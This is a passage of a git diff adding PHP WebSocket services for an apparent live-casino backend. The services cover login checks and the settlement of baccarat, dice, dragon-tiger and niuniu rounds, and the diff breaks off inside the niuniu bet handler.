a/app/services/connect/ManagerConnectService.php b/app/services/connect/ManagerConnectService.php new file mode 100644 index 0000000..3a6afe2 --- /dev/null +++ b/app/services/connect/ManagerConnectService.php @@ -0,0 +1,44 @@ +get('userid')); + $loginToken = trim($event->get('login_token')); + $username = trim($event->get('account')); + if(isset($username) && isset($loginToken) && isset($userId) && $userId > 0){ + $userInfo = Manager::get(['id' => $userId, 'status' => 1]); + if($userInfo && $userInfo['login_token'] == $loginToken && $username == $userInfo['username']){ + SocketSession::saveSocketSession(['user_id' => $userId, 'username' => $username],'manager'); + $tableManager = app('swoole.table.manager'); + $managerSession = $tableManager->get((string) $userId); + $ws->setSender(0)->to($managerSession['fd'])->emit('onlineLogin',['status' => true]); + }else{ + $ws->emit('onlineLogin',['status' => false,'msg' => 'link_server_fail']); + $ws->close(); + } + }else{ + $ws->emit('onlineLogin',['status' => false,'msg' => 'link_server_fail']); + $ws->close(); + } + } +} \ No newline at end of file diff --git a/app/services/connect/ScanConnectService.php b/app/services/connect/ScanConnectService.php new file mode 100644 index 0000000..a5afe53 --- /dev/null +++ b/app/services/connect/ScanConnectService.php @@ -0,0 +1,48 @@ +get('table_id')); + $tableInfo = Table::get($tableId); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo){ + $ws->emit('onlineLogin',['status' => false, 'msg' => 'Not NumberTab Data']); + $ws->close(); + return; + } + $round = array(); + $round['tid'] = $tableId; + $round['boot_id'] = intval($numberTabInfo['boot_id']); + $round['boot_num'] = intval($numberTabInfo['boot_num']); + $round['number_tab_id'] = intval($numberTabInfo['id']); + $round['number_tab_number'] = intval($numberTabInfo['number']); + if ($numberTabInfo['bet_status'] == 2){ + $round['is_scan'] = true; + }else{ + $round['is_scan'] = false; + } + $ws->join(SocketSession::HOUSE_NAME); + $ws->emit('onlineLogin',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + } +} diff --git a/app/services/connect/SpaceConnectService.php b/app/services/connect/SpaceConnectService.php new file mode 100644 index 0000000..dbba321 --- /dev/null +++ b/app/services/connect/SpaceConnectService.php @@ -0,0 +1,62 @@ +handler(); + //设置哈希 + $redis->hset('123456','yzm','4566'); + //设置过期时间 + $redis->expire('123456',60); + */ + $ws = app('\think\swoole\WebSocket'); + $tableId = intval($event->get('table_id')); + $tableInfo = Table::get($tableId); + $userId = intval($event->get('userid')); + $loginToken = trim($event->get('login_token')); + $username = trim($event->get('account')); + $userController = UserController::get(['id' => $userId, 'username' => $username, 'login_token' => $loginToken]); + if (!$tableInfo || !$userController){ + $ws->emit('onlineLogin',['status' => false, 'msg' => 'not_table_data']); + //$ws->close(); + return; + } + $lastNumberTab = InitTableService::initTable($tableInfo); + if($lastNumberTab){ + $round = array(); + $round['boot_id'] = $lastNumberTab['boot_id']; + $round['boot_num'] = $lastNumberTab['boot_num']; + $round['number_tab_id'] = $lastNumberTab['id']; + $round['number_tab_number'] = $lastNumberTab['number']; + $round['in_checkout'] = $tableInfo['in_checkout']; + $round['number_tab_status'] = InitTableService::numberTabStatus($lastNumberTab); + $round['show_card'] = GetCardService::getCard($tableInfo,$lastNumberTab); + $ws->emit('onlineLogin',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + SocketSession::saveSocketSession(['table_id' => $tableInfo['id'], 'table_name' => $tableInfo['table_name']],'space'); + }else{ + $ws->emit('onlineLogin',['status' => false, 'table_id' => $tableInfo['id'], 'msg' => 'link_server_fail']); + //$ws->close(); + } + } +} \ No newline at end of file diff --git a/app/services/connect/UserConnectService.php b/app/services/connect/UserConnectService.php new file mode 100644 index 0000000..4557250 --- /dev/null +++ b/app/services/connect/UserConnectService.php @@ -0,0 +1,42 @@ +get('userid')); + $loginToken = trim($event->get('login_token')); + $username = trim($event->get('account')); + if(isset($username) && isset($loginToken) && isset($userId) && $userId > 0){ + $userInfo = User::get(['id' => $userId, 'status' => 1, 'is_delete' => 0]); + if($userInfo && $userInfo['login_token'] == $loginToken && $username == $userInfo['username']){ + SocketSession::saveSocketSession(['user_id' => $userId, 'username' => $username],'user'); + $ws->emit('onlineLogin',['status' => true, 'money' => $userInfo['money']]); + }else{ + $ws->emit('onlineLogin',['status' => false, 'money' => 0, 'msg' => 'link_server_fail']); + $ws->close(); + } + }else{ + $ws->emit('onlineLogin',['status' => false, 'money' => 0, 'msg' => 'link_server_fail']); + $ws->close(); + } + } +} \ No newline at end of file diff --git a/app/services/opening/OpeningBaccaratService.php b/app/services/opening/OpeningBaccaratService.php new file mode 100644 index 0000000..2c6b2bb --- /dev/null +++ b/app/services/opening/OpeningBaccaratService.php @@ -0,0 +1,284 @@ +emit('openingBaccarat',['status' => false, 'msg' => $res['msg']]); + return; + } + list($opening,$pair,$luck_six,$big_small,$banker,$player,$lastNumberTabInfo,$newNumberTabInfo) = $res['data']; + $round = array( + 'opening' => $opening, + 'pair' => $pair, + 'luck_six' => $luck_six, + 'big_small' => $big_small, + 'banker' => $banker, + 'player' => $player, + 'boot_id' => $newNumberTabInfo['boot_id'], + 'boot_num' => $newNumberTabInfo['boot_num'], + 'number_tab_id' => $newNumberTabInfo['id'], + 'previous_number_tab_id' => $lastNumberTabInfo['id'], + 'number_tab_number' => $newNumberTabInfo['number'], + 'number_tab_status' => InitTableService::numberTabStatus($newNumberTabInfo) + ); + $ws->emit('openingBaccarat',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + $ws->to(SocketSession::HOUSE_NAME)->emit('openingBaccaratResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + //处理注单 + self::doBet($ws,$tableInfo,$lastNumberTabInfo); + //处理好路 + WaybillRemindService::parseWaybillRemind($tableInfo['game_id'], $tableInfo['id'], $tableInfo['table_name'], $newNumberTabInfo['boot_id']); + } + + /** + * TODO 判断结果 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doOpening(array $event, array $tableInfo): array + { + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'opening_fail_2']; + $numberTabId = intval($event['number_tab_id']); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo || $numberTabId != $numberTabInfo['id']) return ['status' => false, 'msg' => 'opening_fail_2']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'opening_fail_4']; + $luck_six = 0; + $big_small = 0; + $banker = null; + $player = null; + if ($tableInfo['is_scavenging'] == 1){ + $cardInfo = RedisUtil::getCardPosition($numberTabId); + if (!isset($cardInfo['banker_1']) || !isset($cardInfo['banker_2']) || !isset($cardInfo['player_1']) || !isset($cardInfo['player_2'])){ + return ['status' => false, 'msg' => 'opening_fail_6']; + } + if (!isset($cardInfo['player_3'])) $cardInfo['player_3'] = 0; + if (!isset($cardInfo['banker_3'])) $cardInfo['banker_3'] = 0; + $checkOpenScan = CardPosition::checkOpenScan($cardInfo); + if (!$checkOpenScan) return ['status' => false, 'msg' => 'opening_fail_6']; + $banker_1 = CardPosition::interchangeCard($cardInfo['banker_1']); + $banker_2 = CardPosition::interchangeCard($cardInfo['banker_2']); + $banker_3 = CardPosition::interchangeCard($cardInfo['banker_3']); + $player_1 = CardPosition::interchangeCard($cardInfo['player_1']); + $player_2 = CardPosition::interchangeCard($cardInfo['player_2']); + $player_3 = CardPosition::interchangeCard($cardInfo['player_3']); + $banker = CardPosition::interchangeNumber($banker_1) + CardPosition::interchangeNumber($banker_2) + CardPosition::interchangeNumber($banker_3); + $player = CardPosition::interchangeNumber($player_1) + CardPosition::interchangeNumber($player_2) + CardPosition::interchangeNumber($player_3); + // 求余 + if($banker >= 10){ + $banker = $banker % 10; + } + if($player >= 10){ + $player = $player % 10; + } + // 判断结果 + if($banker > $player){ + // 庄赢 + $opening = 1; + }elseif($banker < $player){ + // 闲赢 + $opening = 2; + }elseif($banker == $player){ + // 庄赢 + $opening = 3; + }else{ + return ['status' => false, 'msg' => 'opening_fail_5']; + } + // 比较对子 + if(intval($banker_1) == intval($banker_2) && intval($player_1) == intval($player_2)){ + $pair = 3; + }elseif(intval($banker_1) == intval($banker_2)){ + $pair = 1; + }elseif(intval($player_1) == intval($player_2)){ + $pair = 2; + }else{ + $pair = 0; + } + // 判断幸运6 + if ($opening == 1 && $banker == 6){ + if ($banker_3 > 0){ + $luck_six = 3; + } else { + $luck_six = 2; + } + } + // 判断大小 + if ($banker_3 > 0 || $player_3 > 0){ + $big_small = 1; + } else { + $big_small = 2; + } + }else{ + $opening = intval($event['opening']); + $banker_pair = intval($event['banker_pair']); + $player_pair = intval($event['player_pair']); + $luck_six = intval($event['luck_six']); + //处理开盘 + if($banker_pair == 1 && $player_pair == 2){ + //庄闲对 + $pair = 3; + }elseif($banker_pair == 1 && $player_pair != 2){ + //庄对 + $pair = 1; + }elseif($banker_pair != 1 && $player_pair == 2){ + //和对 + $pair = 2; + }else{ + $pair = 0; + } + } + if (!in_array($opening,[1,2,3])) return ['status' => false, 'msg' => 'opening_fail_3']; + //开盘 + $numberTabUpdate = ['result' => $opening, 'pair' => $pair, 'luck_six' => $luck_six, 'big_small' => $big_small, 'end_time' => time(), 'bet_status' => 3]; + $newNumberTabInfo = NumberTab::next($numberTabInfo,$numberTabUpdate,$tableInfo); + if ($newNumberTabInfo){ + $lastNumberTabInfo = array_merge($numberTabInfo,$numberTabUpdate); + return ['status' => true, 'data' => [$opening,$pair,$luck_six,$big_small,$banker,$player,$lastNumberTabInfo,$newNumberTabInfo]]; + }else{ + return ['status' => false, 'msg' => 'opening_fail']; + } + } + + /** + * TODO Bet处理 + * @param Websocket $ws 桌子信息 + * @param array $tableInfo 桌子信息 + * @param array $numberTabInfo 开结果的当前局信息 + * @return void + */ + public static function doBet(Websocket $ws, array $tableInfo, array $numberTabInfo){ + $betArray = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($betArray AS $v){ + $userInfo = User::get(intval($v['user_id'])); + if (!$userInfo){ + continue; + } + $amount = $v['banker_amount'] + $v['player_amount'] + $v['tie_amount'] + $v['banker_pair_amount'] + $v['player_pair_amount'] + $v['luck_six_amount'] + $v['big_amount'] + $v['small_amount']; + $winMoney = 0; + // 双边洗码 + $ximaliang = 0; + if($userInfo['type_xima'] == 1){ + $ximaliang = abs($v['banker_amount'] - $v['player_amount']); + } + if($numberTabInfo['result'] == 1){ + // 庄赢 + if ($v['banker_amount'] > 0){ + if ($v['baccarat_type'] == 1){ + if ($numberTabInfo['luck_six'] > 0){ + $winMoney = round($v['banker_amount'] * (1 + 0.5),2) + $winMoney; + } else { + $winMoney = round($v['banker_amount'] * (1 + 1),2) + $winMoney; + } + } else { + $winMoney = round($v['banker_amount'] * (1 + $userInfo['price_banker']),2) + $winMoney; + } + } + // 单边洗码 + if($userInfo['type_xima'] == 2){ + $ximaliang = $v['player_amount']; + } + }elseif($numberTabInfo['result'] == 2){ + // 闲赢 + if($v['player_amount'] > 0){ + $winMoney = $v['player_amount'] * (1 + $userInfo['price_player']) + $winMoney; + } + // 单边洗码 + if($userInfo['type_xima'] == 2){ + $ximaliang = $v['banker_amount']; + } + }elseif($numberTabInfo['result'] == 3) { + $ximaliang = 0; + // 和赢 + if($v['tie_amount'] > 0){ + $winMoney = $v['tie_amount'] * (1 + $userInfo['price_tie_baccarat']) + $winMoney; + } + // 开 和,下注庄和闲不扣钱 + if($v['banker_amount'] > 0 && $v['player_amount'] > 0){ + $winMoney = $v['player_amount'] + $v['banker_amount'] + $winMoney; + }elseif($v['banker_amount'] > 0){ + $winMoney = $v['banker_amount'] + $winMoney; + } elseif ($v['player_amount'] > 0){ + $winMoney = $v['player_amount'] + $winMoney; + } + } + if($numberTabInfo['pair'] == 3){ + // 计算庄对下注的赢钱金额 + if ($v['banker_pair_amount'] > 0) { + $winMoney = $v['banker_pair_amount'] * (1 + $userInfo['price_pair']) + $winMoney; + } + //计算闲对下注的赢钱金额 + if ($v['player_pair_amount'] > 0) { + $winMoney = $v['player_pair_amount'] * (1 + $userInfo['price_pair']) + $winMoney; + } + }elseif($numberTabInfo['pair'] == 1){ + if ($v['banker_pair_amount'] > 0) { + $winMoney = $v['banker_pair_amount'] * (1 + $userInfo['price_pair']) + $winMoney; + } + }elseif($numberTabInfo['pair'] == 2){ + if ($v['player_pair_amount'] > 0) { + $winMoney = $v['player_pair_amount'] * (1 + $userInfo['price_pair']) + $winMoney; + } + } + if ($numberTabInfo['luck_six'] == 2 && $v['luck_six_amount'] > 0){ + $winMoney = $v['luck_six_amount'] * (1 + $userInfo['price_luck_six_2']) + $winMoney; + } + if ($numberTabInfo['luck_six'] == 3 && $v['luck_six_amount'] > 0){ + $winMoney = $v['luck_six_amount'] * (1 + $userInfo['price_luck_six_3']) + $winMoney; + } + if ($numberTabInfo['big_small'] == 1){ + $winMoney = $v['big_amount'] * (1 + $userInfo['price_big']) + $winMoney; + } + if ($numberTabInfo['big_small'] == 2){ + $winMoney = $v['small_amount'] * (1 + $userInfo['price_small']) + $winMoney; + } + // 计算最终赢钱金额 + $winTotal = $winMoney - $amount; + /** + * Model处理 + * @param array $tableInfo 桌子信息 + * @param array $betInfo bet信息 + * @param array $userInfo bet用户信息 + * @param array $numberTabInfo 局信息 + * @param float $amount 下注总数 + * @param float $winTotal 赢金额 + * @param float $ximaliang 洗码量 + */ + $res = Bet::openingBet($tableInfo,$v,$userInfo,$numberTabInfo,$amount,$winTotal,$ximaliang); + if ($res['status']){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $v['user_id']); + if ($userSession && is_array($userSession)){ + $ws->setSender(0)->to($userSession['fd'])->emit('opening',['status' => true, 'table_id' => $tableInfo['id'], 'round' => ['money' => $res['money'], 'win_total' => $winTotal, 'previous_number_tab_id' => $v['number_tab_id']]]); + } + } + } + } +} \ No newline at end of file diff --git a/app/services/opening/OpeningDiceService.php b/app/services/opening/OpeningDiceService.php new file mode 100644 index 0000000..bb8257a --- /dev/null +++ b/app/services/opening/OpeningDiceService.php @@ -0,0 +1,150 @@ +emit('openingDice',['status' => false, 'msg' => $res['msg']]); + return; + } + list($resultArray,$resultParse,$lastNumberTabInfo,$newNumberTabInfo) = $res['data']; + $round = array( + 'result' => $resultArray, + 'result_parse' => $resultParse, + 'boot_id' => $newNumberTabInfo['boot_id'], + 'boot_num' => $newNumberTabInfo['boot_num'], + 'number_tab_id' => $newNumberTabInfo['id'], + 'previous_number_tab_id' => $lastNumberTabInfo['id'], + 'number_tab_number' => $newNumberTabInfo['number'], + 'number_tab_status' => InitTableService::numberTabStatus($newNumberTabInfo) + ); + $ws->emit('openingDice',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + $ws->to(SocketSession::HOUSE_NAME)->emit('openingDiceResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + //处理注单 + self::doBet($ws,$tableInfo,$lastNumberTabInfo,$resultArray,$resultParse); + } + + /** + * TODO 判断结果 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doOpening(array $event, array $tableInfo): array + { + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'opening_fail_2']; + $numberTabId = intval($event['number_tab_id']); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo || $numberTabId != $numberTabInfo['id']) return ['status' => false, 'msg' => 'opening_fail_2']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'opening_fail_4']; + $resultArray = explode(',', $event['result']); + $resultTrue = true; + foreach ($resultArray as $v){ + if (!in_array(intval($v), [1,2,3,4,5,6])){ + $resultTrue = false; + break; + } + } + if ($resultTrue == false || count($resultArray) != 3) return ['status' => false, 'msg' => 'opening_fail_3']; + $boot = Boot::where(['id' => $numberTabInfo['boot_id']])->find(); + $afterCountArray = DiceUtil::parseCount($resultArray); + $beforeCountString = $boot['dice_count']; + $beforeCountArray = string_to_array($beforeCountString); + $countArray = DiceUtil::countInc($beforeCountArray, $afterCountArray); + $countString = array_to_string($countArray); + $numberTabInfo['dice_count'] = $countString; + $resultParse = DiceUtil::parseResult($resultArray); + $numberTabUpdate = ['dice_result' => $event['result'], 'end_time' => time(), 'bet_status' => 3]; + $newNumberTabInfo = NumberTab::next($numberTabInfo,$numberTabUpdate,$tableInfo); + if ($newNumberTabInfo){ + $lastNumberTabInfo = array_merge($numberTabInfo,$numberTabUpdate); + return ['status' => true, 'data' => [$resultArray,$resultParse,$lastNumberTabInfo,$newNumberTabInfo]]; + }else{ + return ['status' => false, 'msg' => 'opening_fail']; + } + } + + /** + * TODO Bet处理 + * @param Websocket $ws 桌子信息 + * @param array $tableInfo 桌子信息 + * @param array $numberTabInfo 开结果的当前局信息 + * @return void + */ + public static function doBet(Websocket $ws, array $tableInfo, array $numberTabInfo, array $resultArray, array $resultParse){ + $betArray = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($betArray AS $v){ + $userInfo = User::get(intval($v['user_id'])); + if (!$userInfo) continue; + if (empty($v['dice_amount'])) continue; + $priceArray = string_to_array($userInfo['price_dice']); + $amountArray = string_to_array($v['dice_amount']); + $amount = 0; + $winMoney = 0; + foreach ($amountArray as $key => $value){ + $amount += intval($value); + if (in_array($key, ['living_1','living_2','living_3','living_4','living_5','living_6'])){ + $keyArray = explode("_", $key); + $count = DiceUtil::getLivingCount($resultArray, intval($keyArray[1])); + if ($count == 1){ + $winMoney = round($value * (1 + $priceArray['once']),2) + $winMoney; + } elseif ($count == 2){ + $winMoney = round($value * (1 + $priceArray['double']),2) + $winMoney; + } elseif ($count == 3){ + $winMoney = round($value * (1 + $priceArray['triple']),2) + $winMoney; + } + } else { + if (in_array($key, $resultParse)){ + $winMoney = round($value * (1 + $priceArray[$key]),2) + $winMoney; + } + } + } + $winTotal = $winMoney - $amount; + /** + * Model处理 + * @param array $tableInfo 桌子信息 + * @param array $betInfo bet信息 + * @param array $userInfo bet用户信息 + * @param array $numberTabInfo 局信息 + * @param float $amount 下注总数 + * @param float $winTotal 赢金额 + * @param float $ximaliang 洗码量 + */ + $res = Bet::openingBet($tableInfo,$v,$userInfo,$numberTabInfo,$amount,$winTotal,0); + if ($res['status']){ + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string) $v['user_id']); + if ($userSession && is_array($userSession)){ + $ws->setSender(0)->to($userSession['fd'])->emit('opening',['status' => true, 'table_id' => $tableInfo['id'], 'round' => ['money' => $res['money'], 'win_total' => $winTotal, 'previous_number_tab_id' => $v['number_tab_id']]]); + } + } + } + } +} \ No newline at end of file diff --git a/app/services/opening/OpeningDtService.php b/app/services/opening/OpeningDtService.php new file mode 100644 index 0000000..34e932c --- /dev/null +++ b/app/services/opening/OpeningDtService.php @@ -0,0 +1,190 @@ +emit('openingDt',['status' => false, 'msg' => $res['msg']]); + return; + } + list($opening,$banker,$player,$lastNumberTabInfo,$newNumberTabInfo) = $res['data']; + $round = array( + 'opening' => $opening, + 'banker' => $banker, + 'player' => $player, + 'boot_id' => $newNumberTabInfo['boot_id'], + 'boot_num' => $newNumberTabInfo['boot_num'], + 'number_tab_id' => $newNumberTabInfo['id'], + 'previous_number_tab_id' => $lastNumberTabInfo['id'], + 'number_tab_number' => $newNumberTabInfo['number'], + 'number_tab_status' => InitTableService::numberTabStatus($newNumberTabInfo) + ); + $ws->emit('openingDt',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + $ws->to(SocketSession::HOUSE_NAME)->emit('openingDtResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + //处理注单 + self::doBet($ws,$tableInfo,$lastNumberTabInfo); + //处理好路 + WaybillRemindService::parseWaybillRemind($tableInfo['game_id'], $tableInfo['id'], $tableInfo['table_name'], $newNumberTabInfo['boot_id']); + } + + /** + * TODO 判断结果 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doOpening(array $event, array $tableInfo): array + { + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'opening_fail_2']; + $numberTabId = intval($event['number_tab_id']); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo || $numberTabId != $numberTabInfo['id']) return ['status' => false, 'msg' => 'opening_fail_2']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'opening_fail_4']; + $banker = null; + $player = null; + if ($tableInfo['is_scavenging'] == 1){ + $cardInfo = RedisUtil::getCardPosition($numberTabId); + if (!$cardInfo || !isset($cardInfo['banker_1']) || !isset($cardInfo['player_1'])) return ['status' => false, 'msg' => 'opening_fail_6']; + // 比较结果 + $banker = CardPosition::interchangeCard($cardInfo['banker_1']); + $player = CardPosition::interchangeCard($cardInfo['player_1']); + // 判断结果 + if($banker > $player){ + $opening = 1; + }elseif($banker < $player){ + $opening = 2; + }else{ + // 不对比花色 + $opening = 3; + + // 对比花色 +// if(CardPosition::interchangeColor($cardInfo['banker_1']) < CardPosition::interchangeColor($cardInfo['player_1'])){ +// $opening = 1; +// }elseif(CardPosition::interchangeColor($cardInfo['banker_1']) > CardPosition::interchangeColor($cardInfo['player_1'])){ +// $opening = 2; +// }else{ +// $opening = 3; +// } + } + }else{ + $opening = intval($event['bet']); + } + if (!in_array($opening,[1,2,3])) return ['status' => false, 'msg' => 'opening_fail_3']; + //开盘 + $numberTabUpdate = ['result' => $opening, 'end_time' => time(), 'bet_status' => 3]; + $newNumberTabInfo = NumberTab::next($numberTabInfo,$numberTabUpdate,$tableInfo); + if ($newNumberTabInfo){ + $lastNumberTabInfo = array_merge($numberTabInfo,$numberTabUpdate); + return ['status' => true, 'data' => [$opening,$banker,$player,$lastNumberTabInfo,$newNumberTabInfo]]; + }else{ + return ['status' => false, 'msg' => 'opening_fail']; + } + } + + /** + * TODO Bet处理 + * @param Websocket $ws 桌子信息 + * @param array $tableInfo 桌子信息 + * @param array $numberTabInfo 开结果的当前局信息 + * @return void + */ + public static function doBet(Websocket $ws, array $tableInfo, array $numberTabInfo){ + $betArray = Bet::getByNumberTabIdValid($numberTabInfo['id']); + foreach ($betArray AS $v){ + $userInfo = User::get(intval($v['user_id'])); + if (!$userInfo){ + continue; + } + $amount = $v['banker_amount'] + $v['player_amount'] + $v['tie_amount']; + $winMoney = 0; + // 双边洗码 + $ximaliang = 0; + if($userInfo['type_xima'] == 1){ + $ximaliang = abs($v['banker_amount'] - $v['player_amount']); + } + // 龙赢 + if ($numberTabInfo['result'] == 1) { + if($v['banker_amount'] > 0){ + $winMoney = round($v['banker_amount'] * (1 + $userInfo['price_dragon']),2) + $winMoney; + } + // 单边洗码 + if($userInfo['type_xima'] == 2){ + $ximaliang = $v['player_amount']; + } + } + // 虎赢 + if ($numberTabInfo['result'] == 2) { + if($v['player_amount'] > 0){ + $winMoney = round($v['player_amount'] * (1 + $userInfo['price_tiger']),2) + $winMoney; + } + // 单边洗码 + if($userInfo['type_xima'] == 2){ + $ximaliang = $v['banker_amount']; + } + } + // 和 + if ($numberTabInfo['result'] == 3) { + if (Env::get('system.dt_half') == 1) { + $winMoney = round(($v['banker_amount'] + $v['player_amount']) / 2, 2) + $winMoney; + } else { + $winMoney = $v['banker_amount'] + $v['player_amount'] + $winMoney; + } + $ximaliang = 0; + if ($v['tie_amount'] > 0) { + $winMoney = $v['tie_amount'] * (1 + $userInfo['price_tie_dt']) + $winMoney; + } + } + // 计算最终赢钱金额 + $winTotal = $winMoney - $amount; + /** + * Model处理 + * @param array $tableInfo 桌子信息 + * @param array $betInfo bet信息 + * @param array $userInfo bet用户信息 + * @param array $numberTabInfo 局信息 + * @param float $amount 下注总数 + * @param float $winTotal 赢金额 + * @param float $ximaliang 洗码量 + */ + $res = Bet::openingBet($tableInfo,$v,$userInfo,$numberTabInfo,$amount,$winTotal,$ximaliang); + if ($res['status']) { + $tableUser = app('swoole.table.user'); + $userSession = $tableUser->get((string)$v['user_id']); + if ($userSession && is_array($userSession)) { + $ws->setSender(0)->to($userSession['fd'])->emit('opening', ['status' => true, 'table_id' => $tableInfo['id'], 'round' => ['money' => $res['money'], 'win_total' => $winTotal, 'previous_number_tab_id' => $v['number_tab_id']]]); + } + } + } + } +} \ No newline at end of file diff --git a/app/services/opening/OpeningNnService.php b/app/services/opening/OpeningNnService.php new file mode 100644 index 0000000..2d9f423 --- /dev/null +++ b/app/services/opening/OpeningNnService.php @@ -0,0 +1,556 @@ +emit('openingNn',['status' => false, 'msg' => $res['msg']]); + return; + } + list($data,$lastNumberTabInfo,$newNumberTabInfo) = $res['data']; + $round = [ + 'boot_id' => $newNumberTabInfo['boot_id'], + 'boot_num' => $newNumberTabInfo['boot_num'], + 'number_tab_id' => $newNumberTabInfo['id'], + 'previous_number_tab_id' => $lastNumberTabInfo['id'], + 'number_tab_number' => $newNumberTabInfo['number'] + 1, + 'number_tab_status' => InitTableService::numberTabStatus($newNumberTabInfo) + ]; + $round = array_merge($round,$data); + $ws->emit('openingNn',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + $ws->to(SocketSession::HOUSE_NAME)->emit('openingNnResult',['status' => true, 'table_id' => $tableInfo['id'], 'round' => $round]); + //处理注单 + self::doBet($ws,$tableInfo,$lastNumberTabInfo,$data); + } + /** + * TODO 判断结果 + * @param array $event + * @param array $tableInfo + * @return array + */ + public static function doOpening(array $event, array $tableInfo): array + { + if (!isset($event['number_tab_id'])) return ['status' => false, 'msg' => 'opening_fail_2']; + $numberTabId = intval($event['number_tab_id']); + $numberTabInfo = NumberTab::getByTableIdOrderByIdDesc($tableInfo); + if (!$numberTabInfo || $numberTabId != $numberTabInfo['id']) return ['status' => false, 'msg' => 'opening_fail_2']; + if ($numberTabInfo['bet_status'] != 2) return ['status' => false, 'msg' => 'opening_fail_4']; + //NN只有扫描台,不是扫描台返回false + if ($tableInfo['is_scavenging'] != 1) return ['status' => false, 'msg' => 'opening_fail']; + $cardInfo = RedisUtil::getCard($numberTabId); + if (!$cardInfo) return ['status' => false, 'msg' => 'opening_fail_6']; + // 判断是否所有的牌都已经扫描 + foreach ($cardInfo AS $v){ + if ($v == 0){ + return ['status' => false, 'msg' => 'opening_fail_6']; + } + } + // 比较结果 + $player1Card[0] = $cardInfo['player_1_card_1']; + $player1Card[1] = $cardInfo['player_1_card_2']; + $player1Card[2] = $cardInfo['player_1_card_3']; + $player1Card[3] = $cardInfo['player_1_card_4']; + $player1Card[4] = $cardInfo['player_1_card_5']; + $player2Card[0] = $cardInfo['player_2_card_1']; + $player2Card[1] = $cardInfo['player_2_card_2']; + $player2Card[2] = $cardInfo['player_2_card_3']; + $player2Card[3] = $cardInfo['player_2_card_4']; + $player2Card[4] = $cardInfo['player_2_card_5']; + $player3Card[0] = $cardInfo['player_3_card_1']; + $player3Card[1] = $cardInfo['player_3_card_2']; + $player3Card[2] = $cardInfo['player_3_card_3']; + $player3Card[3] = $cardInfo['player_3_card_4']; + $player3Card[4] = $cardInfo['player_3_card_5']; + $bankerCard[0] = $cardInfo['banker_card_1']; + $bankerCard[1] = $cardInfo['banker_card_2']; + $bankerCard[2] = $cardInfo['banker_card_3']; + $bankerCard[3] = $cardInfo['banker_card_4']; + $bankerCard[4] = $cardInfo['banker_card_5']; + $player1Result = CardPositionNn::JudgeCowCow($player1Card); + $player2Result = CardPositionNn::JudgeCowCow($player2Card); + $player3Result = CardPositionNn::JudgeCowCow($player3Card); + $bankerResult = CardPositionNn::JudgeCowCow($bankerCard); + + $data = []; + $data['result_player_1'] = $player1Result['cow']; + $data['result_player_2'] = $player2Result['cow']; + $data['result_player_3'] = $player3Result['cow']; + $data['result_banker'] = $bankerResult['cow']; + if($data['result_player_1'] > $data['result_banker']){ + $data['win_player_1'] = 1; + }else if($data['result_player_1'] < $data['result_banker']){ + $data['win_player_1'] = 0; + }else if($data['result_player_1'] == $data['result_banker']){ + $data['win_player_1'] = CardPositionNn::compareCard($player1Result['max'], $bankerResult['max']); + } + if($data['result_player_2'] > $data['result_banker']){ + $data['win_player_2'] = 1; + }else if($data['result_player_2'] < $data['result_banker']){ + $data['win_player_2'] = 0; + }else if($data['result_player_2'] == $data['result_banker']){ + $data['win_player_2'] = CardPositionNn::compareCard($player2Result['max'], $bankerResult['max']); + } + + if($data['result_player_3'] > $data['result_banker']){ + $data['win_player_3'] = 1; + }else if($data['result_player_3'] < $data['result_banker']){ + $data['win_player_3'] = 0; + }else if($data['result_player_3'] == $data['result_banker']){ + $data['win_player_3'] = CardPositionNn::compareCard($player3Result['max'], $bankerResult['max']); + } + //开盘 + $numberTabUpdate = [ + 'result_player_1' => $data['result_player_1'], + 'result_player_2' => $data['result_player_2'], + 'result_player_3' => $data['result_player_3'], + 'result_banker' => $data['result_banker'], + 'win_player_1' => $data['win_player_1'], + 'win_player_2' => $data['win_player_2'], + 'win_player_3' => $data['win_player_3'], + 'end_time' => time(), + 'bet_status' => 3, + ]; + $newNumberTabInfo = NumberTab::next($numberTabInfo,$numberTabUpdate,$tableInfo); + if ($newNumberTabInfo){ + $lastNumberTabInfo = array_merge($numberTabInfo,$numberTabUpdate); + return ['status' => true, 'data' => [$data,$lastNumberTabInfo,$newNumberTabInfo]]; + }else{ + return ['status' => false, 'msg' => 'opening_fail']; + } + } + + /** + * TODO Bet处理 + * @param Websocket $ws 桌子信息 + * @param array $tableInfo 桌子信息 + * @param array $numberTabInfo 开结果的当前局信息 + * @param array $data 输赢数据 + * @return void + */ + public static function doBet(Websocket $ws, array $tableInfo, array $numberTabInfo, array $data){ + $bankerWinTotal = 0; + if($numberTabInfo['rob_banker_id'] > 0 ){ + $betInfo = Bet::getByNumberTabIdNotRob($numberTabInfo['id'],$numberTabInfo['rob_banker_id']); + $bankerBetInfo = Bet::getByNumberTabIdRob($numberTabInfo['id'],$numberTabInfo['rob_banker_id']); + }else{ + $betInfo = 